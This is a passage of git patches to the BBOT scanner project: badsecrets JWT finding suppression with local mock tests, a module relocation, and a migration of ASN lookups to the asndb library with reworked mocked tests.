context=f'{{module}}\'s "{r["detecting_module"]}" module found known {r["description"]["product"]} secret ({{event.type}}): "{r["secret"]}"', ) elif r["type"] == "IdentifyOnly": + # Excavate's JWTExtractor submodule already emits findings for JWT existence. + # Only vulnerable (SecretFound) JWT results are worth emitting from badsecrets. + if r["detecting_module"] == "Generic_JWT": + continue # There is little value to presenting a non-vulnerable asp.net viewstate, as it is not crackable without a Matrioshka brain. Just emit a technology instead. if r["detecting_module"] == "ASPNET_Viewstate": technology = "microsoft asp.net" diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index bd443d27ac..671c36dd58 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1031,11 +1031,6 @@ async def setup(self): ExcavateRules = find_subclasses(module, ExcavateRule) for e in ExcavateRules: self.debug(f"Including Submodule {e.__name__}") - if e.__name__ == "JWTExtractor" and "badsecrets" in self.scan.modules: - self.debug( - "JWTExtractor disabled because badsecrets module is enabled" - ) - continue if e.__name__ == "ParameterExtractor": message = ( "Parameter Extraction disabled because no modules consume WEB_PARAMETER events" diff --git a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py index 60c26bd7ed..e5143767d2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py +++ b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py @@ -132,6 +132,57 @@ def check(self, module_test, events): assert confirmed_finding.data["confidence"] == "CONFIRMED" +class TestBadSecrets_JWTIdentifyOnly(ModuleTestBase): + """Verify that badsecrets suppresses JWT IdentifyOnly findings (excavate handles JWT detection) + while still emitting SecretFound findings for vulnerable JWTs.""" + + targets = [ + "http://127.0.0.1:8888/", + "http://127.0.0.1:8888/vuln_jwt.aspx", + "http://127.0.0.1:8888/safe_jwt.aspx", + ] + modules_overrides = ["badsecrets", "httpx"] + + # JWT signed with a secret NOT in badsecrets' wordlists (will produce IdentifyOnly) + safe_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0In0.BHvEIdlrTFS4VXvT9nUOycVzokhfIYSxJa7DXNz_h0o" + + # JWT signed with "1234" which IS in badsecrets' wordlists (will produce SecretFound) + vuln_jwt = "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"uri": "/vuln_jwt.aspx"}, + respond_args={ + "response_data": "

Vulnerable JWT

", + "headers": {"set-cookie": f"vulnjwt={self.vuln_jwt}; secure"}, + }, + ) + module_test.set_expect_requests( + expect_args={"uri": "/safe_jwt.aspx"}, + respond_args={ + "response_data": "

Safe JWT

", + "headers": {"set-cookie": f"safejwt={self.safe_jwt}; secure"}, + }, + ) + module_test.set_expect_requests( + respond_args={"response_data": "index"}, + ) + + def check(self, module_test, events): + # Vulnerable JWT (SecretFound) should still produce a FINDING + assert any( + e.type == "FINDING" + and "Known Secret Found." in e.data["description"] + and self.vuln_jwt in e.data["description"] + for e in events + ), "Vulnerable JWT SecretFound finding was not emitted" + + # Safe JWT (IdentifyOnly) should NOT produce any FINDING + assert not any(e.type == "FINDING" and self.safe_jwt in e.data["description"] for e in events), ( + "JWT IdentifyOnly finding should have been suppressed" + ) + + class TestBadSecrets_customsecrets(TestBadSecrets): config_overrides = { "modules": { diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index f9370f1870..80a382a4f9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -215,7 +215,7 @@ def check(self, module_test, events): assert found_js_url_event, "Failed to find URL event for script.js" assert found_badsecrets_finding, "Failed to find BADSECRETs finding from script.js" - assert not found_excavate_jwt_finding, "Excavate JWT finding should be suppressed when badsecrets is enabled" + assert found_excavate_jwt_finding, "Excavate should still emit JWT findings even when badsecrets is enabled" class TestExcavateRedirect(TestExcavate): From 3fed726d3a873f3deeadd86797f3a6d49bf21d14 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 14:17:08 -0500 Subject: [PATCH 301/912] Move legba module out of deadly folder and remove deadly directory --- bbot/modules/{deadly => }/legba.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename bbot/modules/{deadly => }/legba.py (100%) diff --git a/bbot/modules/deadly/legba.py b/bbot/modules/legba.py similarity index 100% rename from bbot/modules/deadly/legba.py rename to bbot/modules/legba.py From 033971a1144f74830a375fe28ac6944ad5f14031 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 15:01:49 -0500 Subject: [PATCH 302/912] Migrate ASN helper to asndb library and address PR review comments --- bbot/core/event/base.py | 25 +- bbot/core/event/helpers.py | 9 +- bbot/core/helpers/asn.py | 217 ++++-------------- bbot/core/helpers/command.py | 2 +- bbot/core/helpers/misc.py | 2 +- bbot/core/helpers/simhash.py | 4 +- bbot/core/modules.py | 5 +- bbot/modules/report/asn.py | 33 +-- bbot/scanner/preset/preset.py | 6 +- bbot/scanner/scanner.py | 10 +- bbot/scanner/target.py | 8 +- bbot/test/test_step_1/test_target.py | 141 ++++-------- .../module_tests/test_module_asn.py | 52 ++--- pyproject.toml | 3 +- 14 files changed, 156 insertions(+), 361 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index dc698fd21f..c518e93334 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -605,7 +605,7 @@ def parent(self, parent): self.web_spider_distance = getattr(parent, "web_spider_distance", 0) event_has_url = getattr(self, "parsed_url", None) is not None for t in parent.tags: - if t in ("affiliate"): + if t in ("affiliate",): self.add_tag(t) elif t.startswith("mutation-"): self.add_tag(t) @@ -1146,28 +1146,7 @@ def _pretty_string(self): def _data_human(self): """Create a concise human-readable representation of ASN data.""" - display_data = {"asn": str(self.data["asn"])} - - # Try to get additional ASN data from the helper if available - if hasattr(self, "scan") and self.scan and hasattr(self.scan, "helpers"): - try: - asn_helper = self.scan.helpers.asn - cached_data = asn_helper._cache_lookup_asn(self.data["asn"]) - if cached_data: - display_data.update( - { - "name": cached_data.get("name", ""), - "description": cached_data.get("description", ""), - "country": cached_data.get("country", ""), - } - ) - subnets = cached_data.get("subnets", []) - if subnets and isinstance(subnets, list): - display_data["subnet_count"] = len(subnets) - except Exception: - pass - - return json.dumps(display_data, sort_keys=True) + return json.dumps({"asn": self.data["asn"]}, sort_keys=True) class CODE_REPOSITORY(DictHostEvent): diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index c366bcaaad..448c7244d2 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -112,7 +112,7 @@ def _sanitize_and_extract_host(self, data): """ return data, None, None - async def _generate_children(self, helpers): + async def _generate_children(self): return [] def _override_input(self, input): @@ -288,8 +288,11 @@ def _override_input(self, input): # ASNs are essentially just a superset of IP_RANGES. # This method resolves the ASN to a list of IP_RANGES using the ASN API, and then adds the cidr string as a child event seed. # These will later be automatically resolved to an IP_RANGE event seed and added to the target. - async def _generate_children(self, helpers): - asn_data = await helpers.asn.asn_to_subnets(int(self.data)) + async def _generate_children(self): + from asndb import ASNDB + + client = ASNDB() + asn_data = await client.lookup_asn(int(self.data)) children = [] if asn_data: subnets = asn_data.get("subnets") diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 299def76d4..2dabb02e4d 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -1,193 +1,76 @@ -import ipaddress import logging -import asyncio -from radixtarget.tree.ip import IPRadixTree -from cachetools import LRUCache log = logging.getLogger("bbot.core.helpers.asn") class ASNHelper: - asndb_ip_url = "https://asndb.api.bbot.io/v1/ip/" - asndb_asn_url = "https://asndb.api.bbot.io/v1/asn/" + """Thin wrapper around the asndb library for ASN lookups. - def __init__(self, parent_helper): - self.parent_helper = parent_helper - # IP radix trees (authoritative store) – IPv4 and IPv6 - self._tree4: IPRadixTree = IPRadixTree() - self._tree6: IPRadixTree = IPRadixTree() - # LRU caches with reasonable limits to prevent unbounded memory growth - # ASN cache (ASN ID -> data mapping) - self._asn_to_data_cache: LRUCache = LRUCache(maxsize=5000) # Cache ASN records + Delegates all HTTP, caching, and retry logic to the asndb library. + Normalizes response dicts to the BBOT-internal format with keys: + asn, subnets, name, description, country + """ - # Default record used when no ASN data can be found UNKNOWN_ASN = { - "asn": "0", + "asn": 0, "subnets": [], - "name": "unknown", - "description": "unknown", - "country": "unknown", + "name": "Unknown", + "description": "Unknown ASN", + "country": "Unknown", } - async def _request_with_retry(self, url, max_retries=10): - """Make request with retry for 429 responses using Retry-After header.""" - for attempt in range(max_retries + 1): - response = await self.parent_helper.request(url, timeout=15) - if response is None or getattr(response, "status_code", 0) == 200: - log.debug(f"ASN API request successful, status code: {getattr(response, 'status_code', 0)}") - return response - - elif getattr(response, "status_code", 0) == 429: - if attempt < max_retries: - attempt += 1 - # Get retry-after header value, default to 1 second if not present - retry_after = getattr(response, "headers", {}).get("retry-after", "10") - delay = int(retry_after) - log.verbose( - f"ASN API rate limited, waiting {delay}s (retry-after: {retry_after}) (attempt {attempt})" - ) - await asyncio.sleep(delay) - else: - log.warning(f"ASN API gave up after {max_retries + 1} attempts due to repeatedrate limiting") - elif getattr(response, "status_code", 0) == 404: - log.debug(f"ASN API returned 404 for {url}") - return None - else: - log.warning( - f"Got unexpected status code: {getattr(response, 'status_code', 0)} from ASN DB api ({url})" - ) - return None - - return response - - async def _query_api(self, identifier, url_base, processor_method): - """Common API query method that handles request/response pattern.""" - url = f"{url_base}{identifier}" - response = await self._request_with_retry(url) - if response is None: - log.warning(f"ASN DB API: no response for {identifier}") - return None - - status = getattr(response, "status_code", 0) - if status != 200: - return None - - try: - raw = response.json() - except Exception as e: - log.warning(f"ASN DB API: JSON decode error for {identifier}: {e}") - return None + def __init__(self, parent_helper): + self.parent_helper = parent_helper + self._client = None - if isinstance(raw, dict): - return processor_method(raw, identifier) + @property + def client(self): + if self._client is None: + from asndb import ASNDB - log.warning(f"ASN DB API: returned unexpected format for {identifier}: {raw}") - return None + self._client = ASNDB() + return self._client - def _build_asn_record(self, raw, subnets): - """Build standardized ASN record from API response.""" + def _normalize(self, raw): + """Convert asndb response dict to BBOT internal format.""" + if raw is None or raw.get("asn", 0) == 0: + return self.UNKNOWN_ASN return { - "asn": str(raw.get("asn", "")), - "subnets": subnets, - "name": raw.get("asn_name") or "", - "description": raw.get("org") or "", + "asn": int(raw.get("asn", 0)), + "subnets": raw.get("subnets", []), + "name": raw.get("asn_name") or raw.get("name") or "", + "description": raw.get("org") or raw.get("description") or "", "country": raw.get("country") or "", } + async def ip_to_subnets(self, ip): + """Return ASN info for an IP address.""" + try: + raw = await self.client.lookup_ip(str(ip)) + except Exception as e: + log.warning(f"ASN lookup failed for IP {ip}: {e}") + return self.UNKNOWN_ASN + return self._normalize(raw) + async def asn_to_subnets(self, asn): - """Return subnets for *asn* using cached subnet ranges where possible.""" - # Handle both int and str inputs - if isinstance(asn, int): - asn_int = asn - else: + """Return ASN info (including subnets) for an ASN number.""" + if isinstance(asn, str): try: - asn_int = int(str(asn.lower()).lstrip("as")) + asn = int(asn.lower().lstrip("as")) except ValueError: log.warning(f"Invalid ASN format: {asn}") return self.UNKNOWN_ASN + try: + raw = await self.client.lookup_asn(int(asn)) + except Exception as e: + log.warning(f"ASN lookup failed for AS{asn}: {e}") + return self.UNKNOWN_ASN + return self._normalize(raw) - cached = self._cache_lookup_asn(asn_int) - if cached is not None: - log.debug(f"cache HIT for asn: {asn}") - return cached - - log.debug(f"cache MISS for asn: {asn}") - asn_data = await self._query_api_asn(asn_int) - if asn_data: - self._cache_store_asn(asn_data, asn_int) - return asn_data - return self.UNKNOWN_ASN - - async def ip_to_subnets(self, ip: str): - """Return ASN info for *ip* using cached subnet ranges where possible.""" - - ip_str = str(ipaddress.ip_address(ip)) - cached = self._cache_lookup_ip(ip_str) - if cached is not None: - log.debug(f"cache HIT for ip: {ip_str}") - return cached or self.UNKNOWN_ASN - - log.debug(f"cache MISS for ip: {ip_str}") - asn_data = await self._query_api_ip(ip_str) - if asn_data: - self._cache_store_ip(asn_data) - return asn_data - return self.UNKNOWN_ASN - - async def _query_api_ip(self, ip: str): - """Query ASN DB API for IP address information.""" - return await self._query_api(ip, self.asndb_ip_url, self._process_ip_response) - - def _process_ip_response(self, raw, ip): - """Process IP lookup response from ASN DB API.""" - subnets = raw.get("subnets", []) - # API returns subnets as array, but handle string case for safety - if isinstance(subnets, str): - subnets = [subnets] - if not subnets: - subnets = [f"{ip}/32"] - return self._build_asn_record(raw, subnets) - - async def _query_api_asn(self, asn: str): - """Query ASN DB API for ASN information.""" - return await self._query_api(asn, self.asndb_asn_url, self._process_asn_response) - - def _process_asn_response(self, raw, asn): - """Process ASN lookup response from ASN DB API.""" - subnets = raw.get("subnets", []) - # API returns subnets as array, but handle string case for safety - if isinstance(subnets, str): - subnets = [subnets] - return self._build_asn_record(raw, subnets) - - def _cache_store_asn(self, asn_record, asn_id: int): - """Cache ASN data by ASN ID""" - self._asn_to_data_cache[asn_id] = asn_record - log.debug(f"ASN cache ADD {asn_id} -> {asn_record.get('asn', '?') if asn_record else '?'}") - - def _cache_lookup_asn(self, asn_id: int): - """Lookup cached ASN data by ASN ID""" - return self._asn_to_data_cache.get(asn_id) - - def _cache_store_ip(self, asn_record): - if not (self._tree4 or self._tree6): - return - subnets = asn_record.get("subnets") or [] - if isinstance(subnets, str): - subnets = [subnets] - for p in subnets: + async def cleanup(self): + """Clean up the asndb client.""" + if self._client is not None: try: - net = ipaddress.ip_network(p, strict=False) - except ValueError: - continue - tree = self._tree4 if net.version == 4 else self._tree6 - tree.insert(str(net), data=asn_record) - log.debug(f"IP cache ADD {net} -> {asn_record.get('asn', '?')}") - - def _cache_lookup_ip(self, ip: str): - ip_obj = ipaddress.ip_address(ip) - tree = self._tree4 if ip_obj.version == 4 else self._tree6 - node = tree.get_node(ip) - if node and getattr(node, "data", None): - return node.data - return None + await self._client.cleanup() + except Exception: + pass diff --git a/bbot/core/helpers/command.py b/bbot/core/helpers/command.py index 49bb3862ad..7da96bbd38 100644 --- a/bbot/core/helpers/command.py +++ b/bbot/core/helpers/command.py @@ -195,7 +195,7 @@ async def _spawn_proc(self, *command, **kwargs): raise ValueError("stdin and input arguments may not both be used.") kwargs["stdin"] = asyncio.subprocess.PIPE - log.debug(f"run: {' '.join(command)}") + log.hugeverbose(f"run: {' '.join(command)}") try: proc = await asyncio.create_subprocess_exec(*command, **kwargs) return proc, _input, command diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index b202888c43..4c095187e4 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -837,7 +837,7 @@ def rand_string(length=10, digits=True, numeric_only=False): return "".join(random.choice(pool) for _ in range(length)) -def truncate_string(s: str, n: int) -> str: +def truncate_string(s: str, n: int = 200) -> str: if not isinstance(s, str): raise ValueError(f"Expected string, got {type(s)}") if len(s) > n: diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py index e6e05f6fcc..65fa72e813 100644 --- a/bbot/core/helpers/simhash.py +++ b/bbot/core/helpers/simhash.py @@ -1,6 +1,8 @@ import xxhash import re +_non_word_re = re.compile(r"[^\w]+") + class SimHashHelper: def __init__(self, bits=64): @@ -57,7 +59,7 @@ def _get_features(self, text): width = 3 text = text.lower() # Remove non-word characters - text = re.sub(r"[^\w]+", "", text) + text = _non_word_re.sub("", text) # Create 3-character shingles return [text[i : i + width] for i in range(max(len(text) - width + 1, 1))] diff --git a/bbot/core/modules.py b/bbot/core/modules.py index daf71ecfb1..7bdb440b2d 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -476,10 +476,9 @@ def load_modules(self, module_names): try: module = self.load_module(module_name) except ModuleNotFoundError as e: - log.warning( + raise BBOTError( f"Error loading module {module_name}: {e}. You may have leftover artifacts from an older version of BBOT. Try deleting/renaming your '~/.bbot' directory." - ) - module = None + ) from e modules[module_name] = module return modules diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index f24e6e5f00..104b724182 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -7,7 +7,7 @@ class asn(BaseReportModule): produced_events = ["ASN"] flags = ["passive", "subdomain-enum", "safe"] meta = { - "description": "Query ripe and bgpview.io for ASNs", + "description": "Query asndb for ASN information", "created_date": "2022-07-25", "author": "@TheTechromancer", } @@ -35,37 +35,26 @@ async def handle_event(self, event): asn_data = await self.helpers.asn.ip_to_subnets(host_str) if asn_data: - asn_record = asn_data - asn_number = asn_record.get("asn") - asn_description = asn_record.get("description", "") - asn_name = asn_record.get("name", "") - asn_country = asn_record.get("country", "") - subnets = asn_record.get("subnets", []) + asn_number = asn_data.get("asn", 0) + asn_description = asn_data.get("description", "") + asn_name = asn_data.get("name", "") + asn_country = asn_data.get("country", "") + subnets = asn_data.get("subnets", []) # Track ASN subnet counts for reporting (only once per ASN) - if asn_number and asn_number != "UNKNOWN" and asn_number != "0": + if asn_number and asn_number != 0: if asn_number not in self.asn_counts: - subnet_count = len(subnets) - self.asn_counts[asn_number] = subnet_count + self.asn_counts[asn_number] = len(subnets) - emails = asn_record.get("emails", []) # Don't emit ASN 0 - it's reserved and indicates unknown ASN data - if asn_number != "0": - asn_event = self.make_event(int(asn_number), "ASN", parent=event) + if asn_number != 0: + asn_event = self.make_event(asn_number, "ASN", parent=event) if asn_event: await self.emit_event( asn_event, context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_description}, {asn_country})", ) - for email in emails: - await self.emit_event( - email, - "EMAIL_ADDRESS", - parent=asn_event, - context=f"{{module}} retrieved details for AS{asn_number} and found {{event.type}}: {{event.data}}", - ) - async def report(self): """Generate an ASN summary table based on locally tracked ASN counts.""" @@ -87,7 +76,7 @@ async def report(self): else: asn_name = asn_description = asn_country = "unknown" - number = "AS" + asn_number if asn_number != "0" else asn_number + number = f"AS{asn_number}" if asn_number != 0 else str(asn_number) table.append( [ number, diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 8484bee514..10d6379ccc 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -290,18 +290,20 @@ def bbot_home(self): @property def target(self): + if self._target is None: + raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") return self._target @property def seeds(self): if self._target is None: - return None + raise ValueError("Cannot access target before preset is baked (use ._seeds instead)") return self.target.seeds @property def blacklist(self): if self._target is None: - return None + raise ValueError("Cannot access blacklist before preset is baked (use ._blacklist instead)") return self.target.blacklist @property diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 8fbaadc598..0658045fb9 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -292,7 +292,7 @@ async def _prep(self): creates the scan's output folder, loads its modules, and calls their .setup() methods. """ # expand async seed types (e.g. ASN → IP ranges) - await self.preset.target.generate_children(self.helpers) + await self.preset.target.generate_children() # evaluate preset conditions (may abort the scan) if self.preset.conditions: @@ -1213,12 +1213,8 @@ def json(self): v = getattr(self, i, "") if v: j.update({i: v}) - if self.preset is not None: - j["target"] = self.preset.target.json - j["preset"] = self.preset.to_dict(redact_secrets=True) - else: - j["target"] = {} - j["preset"] = {} + j["target"] = self.preset.target.json + j["preset"] = self.preset.to_dict(redact_secrets=True) if self.start_time is not None: j["started_at"] = self.start_time.timestamp() if self.end_time is not None: diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index fd1b73798b..2e1ab8b419 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -346,10 +346,10 @@ def in_target(self, host): def __eq__(self, other): return self.hash == other.hash - async def generate_children(self, helpers=None): + async def generate_children(self): """ Generate children for the target, for seed types that expand into other seed types. - Helpers are passed into the _generate_children method to enable the use of network lookups and other utilities during the expansion process. + E.g. ASN targets are expanded into their constituent IP ranges. """ # Check if this target had a custom target scope (target different from the default seed hosts) # Compare inputs (strings) to inputs (strings) to avoid type mismatches @@ -358,13 +358,13 @@ async def generate_children(self, helpers=None): # Expand seeds first for event_seed in list(self.seeds.event_seeds): - children = await event_seed._generate_children(helpers) + children = await event_seed._generate_children() for child in children: self.seeds.add(child) # Also expand blacklist event seeds (like ASN targets) for event_seed in list(self.blacklist.event_seeds): - children = await event_seed._generate_children(helpers) + children = await event_seed._generate_children() for child in children: self.blacklist.add(child) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index af74523090..da103fe374 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -384,33 +384,30 @@ async def test_asn_targets(bbot_scanner): target.seeds.add("ASN:15169") assert "ASN:15169" in target.seeds.inputs - # Test ASN target expansion with mocked ASN helper - class MockASNHelper: - async def asn_to_subnets(self, asn_number): - if asn_number == 15169: - return { - "asn": 15169, - "name": "GOOGLE", - "description": "Google LLC", - "country": "US", - "subnets": ["8.8.8.0/24", "8.8.4.0/24"], - } - return None - - class MockHelpers: - def __init__(self): - self.asn = MockASNHelper() + # Test ASN target expansion with mocked asndb + from unittest.mock import AsyncMock, MagicMock, patch + + mock_client = MagicMock() + mock_client.lookup_asn = AsyncMock( + return_value={ + "asn": 15169, + "asn_name": "GOOGLE", + "org": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } + ) # Test target expansion target = BBOTTarget(target=["ASN:15169"]) - mock_helpers = MockHelpers() # Verify initial state initial_hosts = len(target.seeds.hosts) initial_seeds = len(target.seeds.event_seeds) # Generate children (expand ASN to IP ranges) - await target.generate_children(mock_helpers) + with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): + await target.generate_children() # After expansion, should have additional IP range seeds assert len(target.seeds.event_seeds) > initial_seeds @@ -428,41 +425,30 @@ def __init__(self): @pytest.mark.asyncio async def test_asn_targets_integration(bbot_scanner): """Test ASN targets with full scanner integration.""" - from bbot.core.helpers.asn import ASNHelper - - # Mock ASN data for testing - mock_asn_data = { - "asn": 15169, - "name": "GOOGLE", - "description": "Google LLC", - "country": "US", - "subnets": ["8.8.8.0/24", "8.8.4.0/24"], - } + from unittest.mock import AsyncMock, MagicMock, patch + + mock_client = MagicMock() + mock_client.lookup_asn = AsyncMock( + return_value={ + "asn": 15169, + "asn_name": "GOOGLE", + "org": "Google LLC", + "country": "US", + "subnets": ["8.8.8.0/24", "8.8.4.0/24"], + } + ) # Create scanner with ASN target scan = bbot_scanner("ASN:15169") - # Mock the ASN helper to return test data - async def mock_asn_to_subnets(self, asn_number): - if asn_number == 15169: - return mock_asn_data - return None - - # Apply the mock - original_method = ASNHelper.asn_to_subnets - ASNHelper.asn_to_subnets = mock_asn_to_subnets - - try: + with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): # Initialize scan to access preset and target await scan._prep() # Verify target was parsed correctly assert "ASN:15169" in scan.preset.target.seeds.inputs - # Run target expansion - await scan.preset.target.generate_children(scan.helpers) - - # Verify expansion worked + # Verify expansion worked (generate_children is called during _prep) from ipaddress import ip_network assert ip_network("8.8.8.0/24") in scan.preset.target.seeds.hosts @@ -473,10 +459,6 @@ async def mock_asn_to_subnets(self, asn_number): assert scan.in_scope("8.8.4.1") assert not scan.in_scope("1.1.1.1") - finally: - # Restore original method - ASNHelper.asn_to_subnets = original_method - @pytest.mark.asyncio async def test_asn_targets_edge_cases(bbot_scanner): @@ -503,19 +485,16 @@ async def test_asn_targets_edge_cases(bbot_scanner): assert event_seed.type == "ASN" # Test ASN with no subnets - class MockEmptyASNHelper: - async def asn_to_subnets(self, asn_number): - return None # No subnets found + from unittest.mock import AsyncMock, MagicMock, patch - class MockEmptyHelpers: - def __init__(self): - self.asn = MockEmptyASNHelper() + mock_empty_client = MagicMock() + mock_empty_client.lookup_asn = AsyncMock(return_value=None) target = BBOTTarget(target=["ASN:99999"]) # Non-existent ASN - mock_helpers = MockEmptyHelpers() initial_seeds = len(target.seeds.event_seeds) - await target.generate_children(mock_helpers) + with patch("bbot.core.event.helpers.ASNDB", return_value=mock_empty_client): + await target.generate_children() # Should not add any new seeds for empty ASN assert len(target.seeds.event_seeds) == initial_seeds @@ -532,19 +511,18 @@ def __init__(self): @pytest.mark.asyncio async def test_asn_blacklist_functionality(bbot_scanner): """Test ASN blacklisting: IP range target with ASN in blacklist should expand and block subnets.""" - from bbot.core.helpers.asn import ASNHelper + from unittest.mock import AsyncMock, MagicMock, patch from ipaddress import ip_network - # Mock ASN 15169 to return 8.8.8.0/24 (within our target range) - async def mock_asn_to_subnets(self, asn_number): - if asn_number == 15169: - return {"asn": 15169, "subnets": ["8.8.8.0/24"]} - return None - - original_method = ASNHelper.asn_to_subnets - ASNHelper.asn_to_subnets = mock_asn_to_subnets + mock_client = MagicMock() + mock_client.lookup_asn = AsyncMock( + return_value={ + "asn": 15169, + "subnets": ["8.8.8.0/24"], + } + ) - try: + with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): # Target: 8.8.8.0/23 (includes 8.8.8.0/24 and 8.8.9.0/24) # Blacklist: ASN:15169 (should expand to 8.8.8.0/24 and block it) scan = bbot_scanner("8.8.8.0/23", blacklist=["ASN:15169"]) @@ -567,9 +545,6 @@ async def mock_asn_to_subnets(self, asn_number): assert not scan.in_scope("8.8.7.1") assert not scan.in_scope("8.8.10.1") - finally: - ASNHelper.asn_to_subnets = original_method - @pytest.mark.asyncio async def test_asn_len_overflow(bbot_scanner): @@ -579,20 +554,15 @@ async def test_asn_len_overflow(bbot_scanner): for large ASNs (e.g. AS15169 with 1000+ subnets). The scanner log message must use len(event_seeds) instead. """ - from bbot.core.helpers.asn import ASNHelper + from unittest.mock import AsyncMock, MagicMock, patch # Simulate a large ASN with many /16 subnets — total IPs would overflow an index many_subnets = [f"10.{i}.0.0/16" for i in range(200)] - async def mock_asn_to_subnets(self, asn_number): - if asn_number == 99999: - return {"asn": 99999, "subnets": many_subnets} - return None - - original_method = ASNHelper.asn_to_subnets - ASNHelper.asn_to_subnets = mock_asn_to_subnets + mock_client = MagicMock() + mock_client.lookup_asn = AsyncMock(return_value={"asn": 99999, "subnets": many_subnets}) - try: + with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): scan = bbot_scanner("ASN:99999") # _prep() calls generate_children() and then does len(self.seeds.event_seeds) # Before the fix, this raised OverflowError from len() on the RadixTarget @@ -600,25 +570,18 @@ async def mock_asn_to_subnets(self, asn_number): # Verify expansion worked assert len(scan.preset.target.seeds.event_seeds) > 200 - finally: - ASNHelper.asn_to_subnets = original_method @pytest.mark.asyncio async def test_asn_event_json_serialization(bbot_scanner): """Regression test: ASN events must serialize and deserialize correctly.""" - from bbot.core.helpers.asn import ASNHelper + from unittest.mock import AsyncMock, MagicMock, patch from bbot.core.event.base import event_from_json - async def mock_asn_to_subnets(self, asn_number): - if asn_number == 12345: - return {"asn": 12345, "subnets": ["192.0.2.0/24"]} - return None - - original_method = ASNHelper.asn_to_subnets - ASNHelper.asn_to_subnets = mock_asn_to_subnets + mock_client = MagicMock() + mock_client.lookup_asn = AsyncMock(return_value={"asn": 12345, "subnets": ["192.0.2.0/24"]}) - try: + with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): scan = bbot_scanner("ASN:12345") await scan._prep() @@ -635,8 +598,6 @@ async def mock_asn_to_subnets(self, asn_number): reconstructed = event_from_json(j) assert reconstructed.type == "ASN" assert reconstructed.data == {"asn": 12345} - finally: - ASNHelper.asn_to_subnets = original_method @pytest.mark.asyncio diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index 491d170474..47cd7fa84a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -1,75 +1,55 @@ from .base import ModuleTestBase -import json class TestASNHelper(ModuleTestBase): - """Simple test for ASN module using mocked ASNHelper HTTP endpoint.""" + """Simple test for ASN module using mocked asndb library.""" targets = ["8.8.8.8"] module_name = "asn" modules_overrides = ["asn"] config_overrides = {"scope": {"report_distance": 2}} - api_response = { + asndb_response = { "asn": 15169, - "prefixes": ["8.8.8.0/24"], + "subnets": ["8.8.8.0/24"], "asn_name": "GOOGLE", "org": "Google LLC", "country": "US", } async def setup_after_prep(self, module_test): - # Point ASNHelper to local test harness - from bbot.core.helpers.asn import ASNHelper - - module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") + from unittest.mock import AsyncMock - expect_args = {"method": "GET", "uri": "/v1/ip/8.8.8.8"} - respond_args = { - "response_data": json.dumps(self.api_response), - "status": 200, - "content_type": "application/json", - } - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + asn_helper = module_test.scan.helpers.asn + asn_helper.client = AsyncMock() + asn_helper.client.lookup_ip = AsyncMock(return_value=self.asndb_response) + asn_helper.client.lookup_asn = AsyncMock(return_value=self.asndb_response) def check(self, module_test, events): - # Ensure at least one ASN event is produced asn_events = [e for e in events if e.type == "ASN"] assert asn_events, "No ASN event produced" - - # Verify ASN data contains a valid ASN number - assert any(isinstance(e.data, dict) and e.data.get("asn", 0) > 0 for e in asn_events) + assert 